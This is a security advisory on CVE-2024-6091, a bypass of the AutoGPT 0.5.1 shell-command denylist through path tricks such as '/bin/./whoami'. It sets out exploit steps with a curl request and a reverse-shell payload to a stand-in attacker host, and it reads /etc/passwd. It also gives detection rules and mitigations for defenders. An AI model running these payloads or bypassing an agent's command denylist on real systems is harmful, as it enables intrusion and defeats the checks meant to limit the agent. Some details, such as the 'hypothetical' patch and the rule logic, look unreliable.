CVE-2024-6091

Executive Summary

CVE-2024-6091 is a critical security vulnerability in significant-gravitas/autogpt version 0.5.1. The flaw allows an attacker to bypass the shell commands denylist settings by using path manipulation techniques. Specifically, when the denylist is configured to block commands like whoami or /bin/whoami, an attacker can execute /bin/./whoami to circumvent the restriction. This bypass enables arbitrary command execution with the privileges of the AutoGPT process, leading to full system compromise. The CVSS score is 9.8 (Critical), and no official patch has been released as of the latest advisory.

Supply Chain & Package Security

This vulnerability affects the Python package autogpt (PyPI). Users who install AutoGPT via pip are at risk if they rely on the denylist feature for security. The lack of a patch means that supply chain security is compromised, and users must implement manual mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential denial of service.

Deep Dive & Mechanics

The vulnerability lies in the shell command execution logic of AutoGPT. The denylist is implemented as a simple string or regex match against the command string. When a user configures the denylist to block whoami or /bin/whoami, the system checks if the command string contains these exact patterns. However, the check does not normalize the path before comparison.

An attacker can bypass this by using path traversal or redundant path components. For example:

• /bin/./whoami – The ./ is a no-op but changes the string.
• /bin/../bin/whoami – Another path traversal technique.
• whoami with environment variable manipulation (e.g., $SHELL -c whoami).

The core issue is insufficient input validation and lack of canonical path resolution. The denylist should resolve the command to its absolute path and then compare, but it does not.

Vulnerable vs. Patched Code

Vulnerable Code (AutoGPT 0.5.1):

# Simplified vulnerable logic
denylist = ["whoami", "/bin/whoami"]
command = "/bin/./whoami"
if command in denylist:
    print("Blocked")
else:
    os.system(command)  # Executes the command

Patched Code (Hypothetical fix):

import os
import shutil

denylist = ["whoami", "/bin/whoami"]
command = "/bin/./whoami"
# Resolve to canonical path
resolved = shutil.which(command) or os.path.realpath(command)
if resolved in denylist:
    print("Blocked")
else:
    os.system(command)

The fix involves resolving the command to its canonical path before checking against the denylist. This prevents path manipulation bypasses.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• AutoGPT 0.5.1 running with a denylist configured to block whoami or /bin/whoami.
• Network access to the AutoGPT API or command interface.

Exploit Steps:

1. Identify the command execution endpoint (e.g., /api/agent/execute).
2. Craft a payload using path manipulation:

   {
     "command": "/bin/./whoami"
   }
   

3. Send the request:

   curl -X POST http://target:8000/api/agent/execute \
     -H "Content-Type: application/json" \
     -d '{"command": "/bin/./whoami"}'
   

4. Observe the output revealing the current user.

Advanced Payloads:

• Reverse shell: /bin/./bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
• Data exfiltration: /bin/./cat /etc/passwd

Blue Team (Defense & Detection)

Detection:

• Monitor for commands containing ./ or ../ in the command string.
• Log all executed commands and compare against denylist after path resolution.
• Use endpoint detection and response (EDR) to flag anomalous process executions.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block path manipulation patterns.
• Restrict AutoGPT to a sandboxed environment with minimal privileges.
• Apply the hypothetical patch or use a custom wrapper that normalizes paths.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/agent/execute with JSON containing ./ or ../ in the command field.
• Process: Execution of /bin/./whoami, /bin/./bash, or similar path-manipulated commands.
• File: Unusual log entries in AutoGPT logs showing commands with ./ or ../.
• System: Unexpected outbound connections from the AutoGPT host (e.g., reverse shells).

Detection Engineering

YARA Rule

rule CVE_2024_6091_AutoGPT_Denylist_Bypass {
    meta:
        description = "Detects path manipulation in AutoGPT commands"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6091"
    strings:
        $cmd_pattern = /\/bin\/\.\/(whoami|bash|sh|cat|ls|id)/
        $cmd_pattern2 = /\/usr\/bin\/\.\/(whoami|bash|sh|cat|ls|id)/
    condition:
        any of them
}

Sigma Rule

title: AutoGPT Denylist Bypass via Path Manipulation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of commands with path manipulation in AutoGPT logs
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-6091
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - '/bin/./'
            - '/usr/bin/./'
            - '/sbin/./'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6091 AutoGPT Denylist Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/api/agent/execute"; http_uri; content:"/bin/./"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the denylist feature or implement a custom wrapper that resolves commands to canonical paths before checking.
2. Short-term: Restrict AutoGPT to a sandboxed environment (e.g., Docker container with read-only filesystem and no network access).
3. Long-term: Apply the official patch once released. Monitor the significant-gravitas/autogpt repository for updates.
4. Compensating Controls: Use a Web Application Firewall (WAF) to block requests containing ./ or ../ in command parameters.
5. Monitoring: Enable detailed logging of all executed commands and alert on any path manipulation patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert